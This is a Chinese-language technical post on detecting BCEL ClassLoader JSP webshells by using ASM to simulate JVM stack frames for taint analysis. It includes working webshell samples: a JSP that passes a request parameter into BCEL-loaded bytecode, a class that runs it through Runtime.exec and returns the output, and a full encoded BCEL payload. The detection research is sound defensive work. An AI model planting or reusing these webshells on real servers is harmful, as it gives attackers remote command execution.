最近在研究免杀Webshell的检测
发现最强Webshell检测WAF某斯盾在处理BCELClassLoader和自定义ClassLoader的情况下是直接通杀,而不是真正分析其中的字节码,一定程度上可能存在误报
例如以下的BCELClassLoader型Webshell
xxxxxxxxxx<% String cmd = request.getParameter("cmd"); // 恶意的字节码 String bcelCode = "$$BCEL$$..."; com.sun.org.apache.bcel.internal.util.ClassLoader loader = new com.sun.org.apache.bcel.internal.util.ClassLoader(); Class<?> clazz = loader.loadClass(bcelCode); java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class); Object obj = constructor.newInstance(cmd); response.getWriter().print(obj.toString());%>恶意对象的构造方法传入cmd命令将回显结果保存在局部变量res中通过toString返回
xxxxxxxxxxpublic class ByteCodeEvil { String res; public ByteCodeEvil(String cmd) throws IOException { StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader( new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } // 回显 this.res = stringBuilder.toString(); } public String toString() { return this.res; }}这种情况下被检测到Webshell是正常情况
但是我发现如果把字节码改为非法或非恶意的情况,还是可以检测出Webshell
xxxxxxxxxx// 非法字节码String bcelCode = "4ra1n";// 合法但无恶意操作字节码String bcelCode = "$$BCEL$$$...";是否可以深入字节码做进一步的分析来判断是否属于Webshell呢
参考上一篇文章,总体检测过程分为下面这四步
ToolProvider获得JavaCompiler动态编译Java代码ASM进行分析ASM模拟栈帧的变化实现污点分析第四步具体的内容
new ClassLoader().loadClass(bytecode)这样的调用bytecode再用ASM分析遍历所有方法,判断是否存在危险操作source是该方法任何一个参数,sink是Runtime.exec方法
正常的BCEL Webshell
xxxxxxxxxx<% String cmd = request.getParameter("cmd"); String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A"; com.sun.org.apache.bcel.internal.util.ClassLoader loader = new com.sun.org.apache.bcel.internal.util.ClassLoader(); Class<?> clazz = loader.loadClass(bcelCode); java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class); Object obj = constructor.newInstance(cmd); response.getWriter().print(obj.toString());%>首先分析了JSP内容然后分析字节码发现是Webshell

如果这里的BCEL字节码是普通的一个类(例如这样一个工具类)
xxxxxxxxxxpublic class Main { private static final Logger logger = Logger.getLogger(Main.class); public static void main(String[] args) { try { URI uri = Main.class.getResource("Main.class").toURI(); String bcel = Utility.encode(Files.readAllBytes(Paths.get(uri)),true); System.out.println(bcel); } catch (Exception e) { e.printStackTrace(); } }}分析字节码后发现没有问题,认为不是Webshell

如果设置成非法的字节码
xxxxxxxxxx<% String cmd = request.getParameter("cmd"); String bcelCode = "4ra1n"; com.sun.org.apache.bcel.internal.util.ClassLoader loader = new com.sun.org.apache.bcel.internal.util.ClassLoader(); Class<?> clazz = loader.loadClass(bcelCode); java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class); Object obj = constructor.newInstance(cmd); response.getWriter().print(obj.toString());%>程序发现这是非法字节码会停下,那么自然查不出问题

检测的基本原理是用ASM模拟JVM栈帧操作实现污点分析
首先取到其中的BCEL ByteCode
xxxxxxxxxxLDC "$$BCEL$$$..."ASTORE 4图示如下

对应代码结合图片来看会很简单
xxxxxxxxxxpublic void visitLdcInsn(Object cst) { if (cst instanceof String) { // 如果以$$BCEL$$$开头认为是BCEL ByteCode if (((String) cst).startsWith("$$BCEL$$$")) { // 保存下这个ByteCode后续分析 this.analysisData.put("bcel-bytecode", cst); logger.info("find BCEL bytecode"); super.visitLdcInsn(cst); // 参考图中把栈顶染红 operandStack.get(0).add("bcel-bytecode"); return; } } super.visitLdcInsn(cst);}判断是否调用到new ClassLoader().loadClass(bytecode)
调用构造方法的字节码如下
xxxxxxxxxxNEW com/sun/org/apache/bcel/internal/util/ClassLoaderDUPINVOKESPECIAL com/sun/org/apache/bcel/internal/util/ClassLoader.<init> ()VASTORE 5图片表示为

当执行完NEW指令后压入一个对象引用,执行时候弹出一个这时剩余的一个对象就是被初始化后
保存至局部变量表第6位,我们将这个对象标记为黄色
代码中表示如下
xxxxxxxxxxpublic void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { // 匹配BCEL ClassLoader的构造方法 boolean bcelInit = owner.equals("com/sun/org/apache/bcel/internal/util/ClassLoader") && name.equals("<init>") && desc.equals("()V") && opcode == Opcodes.INVOKESPECIAL; if (bcelInit) { logger.info("new BCEL ClassLoader"); // 模拟弹栈操作 super.visitMethodInsn(opcode, owner, name, desc, itf); // 相当于给栈顶染成黄色 operandStack.get(0).add("new-bcel-classloader"); // 一定记得return return; } super.visitMethodInsn(opcode, owner, name, desc, itf);}调用loadClass的字节码如下
xxxxxxxxxxALOAD 5ALOAD 4INVOKEVIRTUAL com/sun/org/apache/bcel/internal/util/ClassLoader.loadClass (Ljava/lang/String;)Ljava/lang/Class;ASTORE 6图示如下

代码如下
xxxxxxxxxxpublic void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { // 是否匹配到BCELClassLoader.loadClass方法调用 boolean bcelLoadClass = owner.equals("com/sun/org/apache/bcel/internal/util/ClassLoader") && name.equals("loadClass") && desc.equals("(Ljava/lang/String;)Ljava/lang/Class;") && opcode == Opcodes.INVOKEVIRTUAL; if (bcelLoadClass) { logger.info("BCEL ClassLoader loadClass method invoked"); // 参考图示判断栈顶是否是BCEL ByteCode if (operandStack.get(0).contains("bcel-bytecode")) { logger.info("use found bytecode"); // 设置一个flag表示发现了loadClass调用 this.analysisData.put("load-bcel", true); } super.visitMethodInsn(opcode, owner, name, desc, itf); return; } super.visitMethodInsn(opcode, owner, name, desc, itf);}可以进一步判断ClassLoader是不是黄色的
换句话来说也就是判断是否包含new-bcel-classloader这个flag
得到Class后续还会有反射调用等情况,这里就不做进一步的分析了,如果恶意的字节码被加载到JVM那么99%可以确定这个JSP脚本有问题,重点在于分析这个字节码本身
xxxxxxxxxxClassReader cr = new ClassReader(classData);BcelShellClassVisitor cv = new BcelShellClassVisitor();cr.accept(cv, ClassReader.EXPAND_FRAMES);Map<String,Object> data = cv.getAnalysisData();通过上文的初步分析,可以得到一个结果data数组,正常情况下应该包含两个元素
xxxxxxxxxx// 判断BCELClassLoader.loadClass这一过程是否顺利if(data.containsKey("load-bcel") && data.containsKey("bcel-bytecode")){ String bcelCode = (String) data.get("bcel-bytecode"); bcelCode = bcelCode.substring(8); // 自己造一个BCEL解码工具类 byte[] byteCode = BcelUtil.decode(bcelCode,true); logger.info("analysis BCEL bytecode"); // 字节码分析 ClassReader bcelCr = new ClassReader(byteCode); SimpleShellClassVisitor bcelCv = new SimpleShellClassVisitor(); bcelCr.accept(bcelCv, ClassReader.EXPAND_FRAMES);}上文其实有一处细节:没有选择Utility这个JDK自带的类来做解码,因为在高版本JDK中不包含这个类,防止出现意外情况所以我从Utility里扣出来decode方法写入自己的BcelUtil里
在具体的字节码分析中,需要做的是遍历每一个方法而不仅仅对构造方法和静态代码块做分析
xxxxxxxxxxpublic MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); // 任何情况都会进入SimpleShellMethodAdapter分析 SimpleShellMethodAdapter simpleShellMethodAdapter = new SimpleShellMethodAdapter( Opcodes.ASM8, mv, this.name, access, name, descriptor, signature, exceptions, analysisData ); return new JSRInlinerAdapter(simpleShellMethodAdapter, access, name, descriptor, signature, exceptions);}在分析具体每一个方法的时候,认为除了this参数以外的任何参数都是可控变量source
xxxxxxxxxxpublic void visitCode() { // 让父类模拟操作栈和局部变量表的初始化 super.visitCode(); // 初始化结束后局部变量表里保存着方法参数 if (localVariables.size() > 1) { // 第0位是this不考虑分析 for (int i = 1; i < localVariables.size(); i++) { logger.info("set param index:" + i + " is taint"); // 除了第0位的this其他地方都加入taint的flag localVariables.get(i).add("taint"); } }}分析其中是否包含了Runtime.getRuntime这样的调用
注意:这只是一种情况,不过是最多的情况,比如反射等方式,暂不考虑更多的情况
xxxxxxxxxxpublic void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { // Runtime.getRuntime这样的调用 boolean getRuntimeExpr = owner.equals("java/lang/Runtime") && name.equals("getRuntime") && desc.equals("()Ljava/lang/Runtime;") && opcode == Opcodes.INVOKESTATIC; // Runtime.exec这样的调用 boolean execExpr = owner.equals("java/lang/Runtime") && name.equals("exec") && desc.equals("(Ljava/lang/String;)Ljava/lang/Process;") && opcode == Opcodes.INVOKEVIRTUAL; // 匹配到getRuntime if (getRuntimeExpr) { super.visitMethodInsn(opcode, owner, name, desc, itf); operandStack.get(0).add("runtime"); return; } // 匹配到exec if (execExpr) { // 为什么要取操作栈的第2位判断? if (operandStack.get(1).contains("runtime")) { logger.info("Runtime.exec method invoked"); // 为什么要取操作栈第1位判断? if (operandStack.get(0).contains("taint")) { // 如果符合这两步条件认为存在恶意操作 logger.info("find BCEL webshell"); super.visitMethodInsn(opcode, owner, name, desc, itf); // 一定记得return return; } } } super.visitMethodInsn(opcode, owner, name, desc, itf);}上面代码有两个问题,直接看毫无思路,但是结合字节码和图片就会一目了然
xxxxxxxxxxINVOKESTATIC java/lang/Runtime.getRuntime ()Ljava/lang/Runtime;ALOAD 1INVOKEVIRTUAL java/lang/Runtime.exec (Ljava/lang/String;)Ljava/lang/Process;图片表示如下

在初始化局部变量表的时候,将除了第0位的this以外的所有参数都设置为taint也就是图中的黄色,在Runtime.exec这个过程中参数会被压栈
这就解释了上文代码中为什么要取第0位和第1位判断以及分别的逻辑是怎样的
一些问题和思考
JSP中直接使用BCEL ClassLoader的情况,还有反射等形式(照猫画虎即可)BCEL ClassLoader吗,某斯盾简单粗暴的拦截是否是一种高效的解决方案ClassLoader的情况简单粗暴解决是否欠妥,实际开发中有可能会自定义ClassLoader